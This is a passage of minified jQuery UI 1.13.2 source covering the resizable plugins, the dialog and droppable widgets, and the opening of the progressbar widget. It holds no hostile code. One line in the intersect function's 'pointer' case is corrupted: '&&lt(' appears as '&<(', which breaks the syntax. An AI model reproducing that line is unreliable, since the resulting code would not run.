this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s=this.options,n={minWidth:this._isNumber(s.minWidth)?s.minWidth:0,maxWidth:this._isNumber(s.maxWidth)?s.maxWidth:1/0,minHeight:this._isNumber(s.minHeight)?s.minHeight:0,maxHeight:this._isNumber(s.maxHeight)?s.maxHeight:1/0};(this._aspectRatio||t)&&(e=n.minHeight*this.aspectRatio,i=n.minWidth/this.aspectRatio,s=n.maxHeight*this.aspectRatio,t=n.maxWidth/this.aspectRatio,e>n.minWidth&&(n.minWidth=e),i>n.minHeight&&(n.minHeight=i),s<n.maxWidth&&(n.maxWidth=s),t<n.maxHeight&&(n.maxHeight=t)),this._vBoundaries=n},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,o=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,a=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,h=/sw|nw|w/.test(i),i=/nw|ne|n/.test(i);return o&&(t.width=e.minWidth),a&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),o&&h&&(t.left=r-e.minWidth),s&&h&&(t.left=r-e.maxWidth),a&&i&&(t.top=l-e.minHeight),n&&i&&(t.top=l-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];e<4;e++)i[e]=parseFloat(s[e])||0,i[e]+=parseFloat(n[e])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;e<this._proportionallyResizeElements.length;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,e=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||V("<div></div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++e.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize;return{left:this.originalPosition.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize;return{top:this.originalPosition.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(t,e,i){return V.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,e,i]))},sw:function(t,e,i){return V.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,e,i]))},ne:function(t,e,i){return V.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,e,i]))},nw:function(t,e,i){return V.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,e,i]))}},_propagate:function(t,e){V.ui.plugin.call(this,t,[e,this.ui()]),"resize"!==t&&this._trigger(t,e,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),V.ui.plugin.add("resizable","animate",{stop:function(e){var i=V(this).resizable("instance"),t=i.options,s=i._proportionallyResizeElements,n=s.length&&/textarea/i.test(s[0].nodeName),o=n&&i._hasScroll(s[0],"left")?0:i.sizeDiff.height,a=n?0:i.sizeDiff.width,n={width:i.size.width-a,height:i.size.height-o},a=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,o=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(V.extend(n,o&&a?{top:o,left:a}:{}),{duration:t.animateDuration,easing:t.animateEasing,step:function(){var t={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};s&&s.length&&V(s[0]).css({width:t.width,height:t.height}),i._updateCache(t),i._propagate("resize",e)}})}}),V.ui.plugin.add("resizable","containment",{start:function(){var i,s,n=V(this).resizable("instance"),t=n.options,e=n.element,o=t.containment,a=o instanceof V?o.get(0):/parent/.test(o)?e.parent().get(0):o;a&&(n.containerElement=V(a),/document/.test(o)||o===document?(n.containerOffset={left:0,top:0},n.containerPosition={left:0,top:0},n.parentData={element:V(document),left:0,top:0,width:V(document).width(),height:V(document).height()||document.body.parentNode.scrollHeight}):(i=V(a),s=[],V(["Top","Right","Left","Bottom"]).each(function(t,e){s[t]=n._num(i.css("padding"+e))}),n.containerOffset=i.offset(),n.containerPosition=i.position(),n.containerSize={height:i.innerHeight()-s[3],width:i.innerWidth()-s[1]},t=n.containerOffset,e=n.containerSize.height,o=n.containerSize.width,o=n._hasScroll(a,"left")?a.scrollWidth:o,e=n._hasScroll(a)?a.scrollHeight:e,n.parentData={element:a,left:t.left,top:t.top,width:o,height:e}))},resize:function(t){var e=V(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.position,o=e._aspectRatio||t.shiftKey,a={top:0,left:0},r=e.containerElement,t=!0;r[0]!==document&&/static/.test(r.css("position"))&&(a=s),n.left<(e._helper?s.left:0)&&(e.size.width=e.size.width+(e._helper?e.position.left-s.left:e.position.left-a.left),o&&(e.size.height=e.size.width/e.aspectRatio,t=!1),e.position.left=i.helper?s.left:0),n.top<(e._helper?s.top:0)&&(e.size.height=e.size.height+(e._helper?e.position.top-s.top:e.position.top),o&&(e.size.width=e.size.height*e.aspectRatio,t=!1),e.position.top=e._helper?s.top:0),i=e.containerElement.get(0)===e.element.parent().get(0),n=/relative|absolute/.test(e.containerElement.css("position")),i&&n?(e.offset.left=e.parentData.left+e.position.left,e.offset.top=e.parentData.top+e.position.top):(e.offset.left=e.element.offset().left,e.offset.top=e.element.offset().top),n=Math.abs(e.sizeDiff.width+(e._helper?e.offset.left-a.left:e.offset.left-s.left)),s=Math.abs(e.sizeDiff.height+(e._helper?e.offset.top-a.top:e.offset.top-s.top)),n+e.size.width>=e.parentData.width&&(e.size.width=e.parentData.width-n,o&&(e.size.height=e.size.width/e.aspectRatio,t=!1)),s+e.size.height>=e.parentData.height&&(e.size.height=e.parentData.height-s,o&&(e.size.width=e.size.height*e.aspectRatio,t=!1)),t||(e.position.left=e.prevPosition.left,e.position.top=e.prevPosition.top,e.size.width=e.prevSize.width,e.size.height=e.prevSize.height)},stop:function(){var t=V(this).resizable("instance"),e=t.options,i=t.containerOffset,s=t.containerPosition,n=t.containerElement,o=V(t.helper),a=o.offset(),r=o.outerWidth()-t.sizeDiff.width,o=o.outerHeight()-t.sizeDiff.height;t._helper&&!e.animate&&/relative/.test(n.css("position"))&&V(this).css({left:a.left-s.left-i.left,width:r,height:o}),t._helper&&!e.animate&&/static/.test(n.css("position"))&&V(this).css({left:a.left-s.left-i.left,width:r,height:o})}}),V.ui.plugin.add("resizable","alsoResize",{start:function(){var t=V(this).resizable("instance").options;V(t.alsoResize).each(function(){var t=V(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.width()),height:parseFloat(t.height()),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})})},resize:function(t,i){var e=V(this).resizable("instance"),s=e.options,n=e.originalSize,o=e.originalPosition,a={height:e.size.height-n.height||0,width:e.size.width-n.width||0,top:e.position.top-o.top||0,left:e.position.left-o.left||0};V(s.alsoResize).each(function(){var t=V(this),s=V(this).data("ui-resizable-alsoresize"),n={},e=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];V.each(e,function(t,e){var i=(s[e]||0)+(a[e]||0);i&&0<=i&&(n[e]=i||null)}),t.css(n)})},stop:function(){V(this).removeData("ui-resizable-alsoresize")}}),V.ui.plugin.add("resizable","ghost",{start:function(){var t=V(this).resizable("instance"),e=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}),t._addClass(t.ghost,"ui-resizable-ghost"),!1!==V.uiBackCompat&&"string"==typeof t.options.ghost&&t.ghost.addClass(this.options.ghost),t.ghost.appendTo(t.helper)},resize:function(){var t=V(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=V(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),V.ui.plugin.add("resizable","grid",{resize:function(){var t,e=V(this).resizable("instance"),i=e.options,s=e.size,n=e.originalSize,o=e.originalPosition,a=e.axis,r="number"==typeof i.grid?[i.grid,i.grid]:i.grid,l=r[0]||1,h=r[1]||1,c=Math.round((s.width-n.width)/l)*l,u=Math.round((s.height-n.height)/h)*h,d=n.width+c,p=n.height+u,f=i.maxWidth&&i.maxWidth<d,g=i.maxHeight&&i.maxHeight<p,m=i.minWidth&&i.minWidth>d,s=i.minHeight&&i.minHeight>p;i.grid=r,m&&(d+=l),s&&(p+=h),f&&(d-=l),g&&(p-=h),/^(se|s|e)$/.test(a)?(e.size.width=d,e.size.height=p):/^(ne)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.top=o.top-u):/^(sw)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.left=o.left-c):((p-h<=0||d-l<=0)&&(t=e._getPaddingPlusBorderDimensions(this)),0<p-h?(e.size.height=p,e.position.top=o.top-u):(p=h-t.height,e.size.height=p,e.position.top=o.top+n.height-p),0<d-l?(e.size.width=d,e.position.left=o.left-c):(d=l-t.width,e.size.width=d,e.position.left=o.left+n.width-d))}});V.ui.resizable;V.widget("ui.dialog",{version:"1.13.2",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(t){var e=V(this).css(t).offset().top;e<0&&V(this).css("top",t.top-e)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&V.fn.draggable&&this._makeDraggable(),this.options.resizable&&V.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?V(t):this.document.find(t||"body").eq(0)},_destroy:function(){var t,e=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),(t=e.parent.children().eq(e.index)).length&&t[0]!==this.element[0]?t.before(this.element):e.parent.append(this.element)},widget:function(){return this.uiDialog},disable:V.noop,enable:V.noop,close:function(t){var e=this;this._isOpen&&!1!==this._trigger("beforeClose",t)&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||V.ui.safeBlur(V.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){e._trigger("close",t)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,e){var i=!1,s=this.uiDialog.siblings(".ui-front:visible").map(function(){return+V(this).css("z-index")}).get(),s=Math.max.apply(null,s);return s>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",s+1),i=!0),i&&!e&&this._trigger("focus",t),i},open:function(){var t=this;this._isOpen?this._moveToTop()&&this._focusTabbable():(this._isOpen=!0,this.opener=V(V.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){t._focusTabbable(),t._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"))},_focusTabbable:function(){var t=this._focusedElement;(t=!(t=!(t=!(t=!(t=t||this.element.find("[autofocus]")).length?this.element.find(":tabbable"):t).length?this.uiDialogButtonPane.find(":tabbable"):t).length?this.uiDialogTitlebarClose.filter(":tabbable"):t).length?this.uiDialog:t).eq(0).trigger("focus")},_restoreTabbableFocus:function(){var t=V.ui.safeActiveElement(this.document[0]);this.uiDialog[0]===t||V.contains(this.uiDialog[0],t)||this._focusTabbable()},_keepFocus:function(t){t.preventDefault(),this._restoreTabbableFocus(),this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=V("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front"),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===V.ui.keyCode.ESCAPE)return t.preventDefault(),void this.close(t);var e,i,s;t.keyCode!==V.ui.keyCode.TAB||t.isDefaultPrevented()||(e=this.uiDialog.find(":tabbable"),i=e.first(),s=e.last(),t.target!==s[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==i[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(this._delay(function(){s.trigger("focus")}),t.preventDefault()):(this._delay(function(){i.trigger("focus")}),t.preventDefault()))},mousedown:function(t){this._moveToTop(t)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=V("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(t){V(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=V("<button type='button'></button>").button({label:V("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(t){t.preventDefault(),this.close(t)}}),t=V("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(t,"ui-dialog-title"),this._title(t),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(t){this.options.title?t.text(this.options.title):t.html(" ")},_createButtonPane:function(){this.uiDialogButtonPane=V("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=V("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var s=this,t=this.options.buttons;this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),V.isEmptyObject(t)||Array.isArray(t)&&!t.length?this._removeClass(this.uiDialog,"ui-dialog-buttons"):(V.each(t,function(t,e){var i;e=V.extend({type:"button"},e="function"==typeof e?{click:e,text:t}:e),i=e.click,t={icon:e.icon,iconPosition:e.iconPosition,showLabel:e.showLabel,icons:e.icons,text:e.text},delete e.click,delete e.icon,delete e.iconPosition,delete e.showLabel,delete e.icons,"boolean"==typeof e.text&&delete e.text,V("<button></button>",e).button(t).appendTo(s.uiButtonSet).on("click",function(){i.apply(s.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog))},_makeDraggable:function(){var n=this,o=this.options;function a(t){return{position:t.position,offset:t.offset}}this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(t,e){n._addClass(V(this),"ui-dialog-dragging"),n._blockFrames(),n._trigger("dragStart",t,a(e))},drag:function(t,e){n._trigger("drag",t,a(e))},stop:function(t,e){var i=e.offset.left-n.document.scrollLeft(),s=e.offset.top-n.document.scrollTop();o.position={my:"left top",at:"left"+(0<=i?"+":"")+i+" top"+(0<=s?"+":"")+s,of:n.window},n._removeClass(V(this),"ui-dialog-dragging"),n._unblockFrames(),n._trigger("dragStop",t,a(e))}})},_makeResizable:function(){var n=this,o=this.options,t=o.resizable,e=this.uiDialog.css("position"),t="string"==typeof t?t:"n,e,s,w,se,sw,ne,nw";function a(t){return{originalPosition:t.originalPosition,originalSize:t.originalSize,position:t.position,size:t.size}}this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:o.maxWidth,maxHeight:o.maxHeight,minWidth:o.minWidth,minHeight:this._minHeight(),handles:t,start:function(t,e){n._addClass(V(this),"ui-dialog-resizing"),n._blockFrames(),n._trigger("resizeStart",t,a(e))},resize:function(t,e){n._trigger("resize",t,a(e))},stop:function(t,e){var i=n.uiDialog.offset(),s=i.left-n.document.scrollLeft(),i=i.top-n.document.scrollTop();o.height=n.uiDialog.height(),o.width=n.uiDialog.width(),o.position={my:"left top",at:"left"+(0<=s?"+":"")+s+" top"+(0<=i?"+":"")+i,of:n.window},n._removeClass(V(this),"ui-dialog-resizing"),n._unblockFrames(),n._trigger("resizeStop",t,a(e))}}).css("position",e)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget(),this._focusedElement=V(t.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),e=V.inArray(this,t);-1!==e&&t.splice(e,1)},_trackingInstances:function(){var t=this.document.data("ui-dialog-instances");return t||this.document.data("ui-dialog-instances",t=[]),t},_minHeight:function(){var t=this.options;return"auto"===t.height?t.minHeight:Math.min(t.minHeight,t.height)},_position:function(){var t=this.uiDialog.is(":visible");t||this.uiDialog.show(),this.uiDialog.position(this.options.position),t||this.uiDialog.hide()},_setOptions:function(t){var i=this,s=!1,n={};V.each(t,function(t,e){i._setOption(t,e),t in i.sizeRelatedOptions&&(s=!0),t in i.resizableRelatedOptions&&(n[t]=e)}),s&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",n)},_setOption:function(t,e){var i,s=this.uiDialog;"disabled"!==t&&(this._super(t,e),"appendTo"===t&&this.uiDialog.appendTo(this._appendTo()),"buttons"===t&&this._createButtons(),"closeText"===t&&this.uiDialogTitlebarClose.button({label:V("<a>").text(""+this.options.closeText).html()}),"draggable"===t&&((i=s.is(":data(ui-draggable)"))&&!e&&s.draggable("destroy"),!i&&e&&this._makeDraggable()),"position"===t&&this._position(),"resizable"===t&&((i=s.is(":data(ui-resizable)"))&&!e&&s.resizable("destroy"),i&&"string"==typeof e&&s.resizable("option","handles",e),i||!1===e||this._makeResizable()),"title"===t&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,e,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),t=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),e=Math.max(0,s.minHeight-t),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-t):"none","auto"===s.height?this.element.css({minHeight:e,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-t)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var t=V(this);return V("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return!!V(t.target).closest(".ui-dialog").length||!!V(t.target).closest(".ui-datepicker").length},_createOverlay:function(){var i,s;this.options.modal&&(i=V.fn.jquery.substring(0,4),s=!0,this._delay(function(){s=!1}),this.document.data("ui-dialog-overlays")||this.document.on("focusin.ui-dialog",function(t){var e;s||((e=this._trackingInstances()[0])._allowInteraction(t)||(t.preventDefault(),e._focusTabbable(),"3.4."!==i&&"3.5."!==i||e._delay(e._restoreTabbableFocus)))}.bind(this)),this.overlay=V("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1))},_destroyOverlay:function(){var t;this.options.modal&&this.overlay&&((t=this.document.data("ui-dialog-overlays")-1)?this.document.data("ui-dialog-overlays",t):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null)}}),!1!==V.uiBackCompat&&V.widget("ui.dialog",V.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(t,e){"dialogClass"===t&&this.uiDialog.removeClass(this.options.dialogClass).addClass(e),this._superApply(arguments)}});V.ui.dialog;function lt(t,e,i){return e<=t&&t<e+i}V.widget("ui.droppable",{version:"1.13.2",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,e=this.options,i=e.accept;this.isover=!1,this.isout=!0,this.accept="function"==typeof i?i:function(t){return t.is(i)},this.proportions=function(){if(!arguments.length)return t=t||{width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};t=arguments[0]},this._addToManager(e.scope),e.addClasses&&this._addClass("ui-droppable")},_addToManager:function(t){V.ui.ddmanager.droppables[t]=V.ui.ddmanager.droppables[t]||[],V.ui.ddmanager.droppables[t].push(this)},_splice:function(t){for(var e=0;e<t.length;e++)t[e]===this&&t.splice(e,1)},_destroy:function(){var t=V.ui.ddmanager.droppables[this.options.scope];this._splice(t)},_setOption:function(t,e){var i;"accept"===t?this.accept="function"==typeof e?e:function(t){return t.is(e)}:"scope"===t&&(i=V.ui.ddmanager.droppables[this.options.scope],this._splice(i),this._addToManager(e)),this._super(t,e)},_activate:function(t){var e=V.ui.ddmanager.current;this._addActiveClass(),e&&this._trigger("activate",t,this.ui(e))},_deactivate:function(t){var e=V.ui.ddmanager.current;this._removeActiveClass(),e&&this._trigger("deactivate",t,this.ui(e))},_over:function(t){var e=V.ui.ddmanager.current;e&&(e.currentItem||e.element)[0]!==this.element[0]&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this._addHoverClass(),this._trigger("over",t,this.ui(e)))},_out:function(t){var e=V.ui.ddmanager.current;e&&(e.currentItem||e.element)[0]!==this.element[0]&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this._removeHoverClass(),this._trigger("out",t,this.ui(e)))},_drop:function(e,t){var i=t||V.ui.ddmanager.current,s=!1;return!(!i||(i.currentItem||i.element)[0]===this.element[0])&&(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var t=V(this).droppable("instance");if(t.options.greedy&&!t.options.disabled&&t.options.scope===i.options.scope&&t.accept.call(t.element[0],i.currentItem||i.element)&&V.ui.intersect(i,V.extend(t,{offset:t.element.offset()}),t.options.tolerance,e))return!(s=!0)}),!s&&(!!this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",e,this.ui(i)),this.element)))},ui:function(t){return{draggable:t.currentItem||t.element,helper:t.helper,position:t.position,offset:t.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}}),V.ui.intersect=function(t,e,i,s){if(!e.offset)return!1;var n=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,a=n+t.helperProportions.width,r=o+t.helperProportions.height,l=e.offset.left,h=e.offset.top,c=l+e.proportions().width,u=h+e.proportions().height;switch(i){case"fit":return l<=n&&a<=c&&h<=o&&r<=u;case"intersect":return l<n+t.helperProportions.width/2&&a-t.helperProportions.width/2<c&&h<o+t.helperProportions.height/2&&r-t.helperProportions.height/2<u;case"pointer":return lt(s.pageY,h,e.proportions().height)&<(s.pageX,l,e.proportions().width);case"touch":return(h<=o&&o<=u||h<=r&&r<=u||o<h&&u<r)&&(l<=n&&n<=c||l<=a&&a<=c||n<l&&c<a);default:return!1}},!(V.ui.ddmanager={current:null,droppables:{default:[]},prepareOffsets:function(t,e){var i,s,n=V.ui.ddmanager.droppables[t.options.scope]||[],o=e?e.type:null,a=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();t:for(i=0;i<n.length;i++)if(!(n[i].options.disabled||t&&!n[i].accept.call(n[i].element[0],t.currentItem||t.element))){for(s=0;s<a.length;s++)if(a[s]===n[i].element[0]){n[i].proportions().height=0;continue t}n[i].visible="none"!==n[i].element.css("display"),n[i].visible&&("mousedown"===o&&n[i]._activate.call(n[i],e),n[i].offset=n[i].element.offset(),n[i].proportions({width:n[i].element[0].offsetWidth,height:n[i].element[0].offsetHeight}))}},drop:function(t,e){var i=!1;return V.each((V.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&V.ui.intersect(t,this,this.options.tolerance,e)&&(i=this._drop.call(this,e)||i),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,e)))}),i},dragStart:function(t,e){t.element.parentsUntil("body").on("scroll.droppable",function(){t.options.refreshPositions||V.ui.ddmanager.prepareOffsets(t,e)})},drag:function(n,o){n.options.refreshPositions&&V.ui.ddmanager.prepareOffsets(n,o),V.each(V.ui.ddmanager.droppables[n.options.scope]||[],function(){var t,e,i,s;this.options.disabled||this.greedyChild||!this.visible||(s=!(i=V.ui.intersect(n,this,this.options.tolerance,o))&&this.isover?"isout":i&&!this.isover?"isover":null)&&(this.options.greedy&&(e=this.options.scope,(i=this.element.parents(":data(ui-droppable)").filter(function(){return V(this).droppable("instance").options.scope===e})).length&&((t=V(i[0]).droppable("instance")).greedyChild="isover"===s)),t&&"isover"===s&&(t.isover=!1,t.isout=!0,t._out.call(t,o)),this[s]=!0,this["isout"===s?"isover":"isout"]=!1,this["isover"===s?"_over":"_out"].call(this,o),t&&"isout"===s&&(t.isout=!1,t.isover=!0,t._over.call(t,o)))})},dragStop:function(t,e){t.element.parentsUntil("body").off("scroll.droppable"),t.options.refreshPositions||V.ui.ddmanager.prepareOffsets(t,e)}})!==V.uiBackCompat&&V.widget("ui.droppable",V.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}});V.ui.droppable,V.widget("ui.progressbar",{version:"1.13.2",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=V("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin 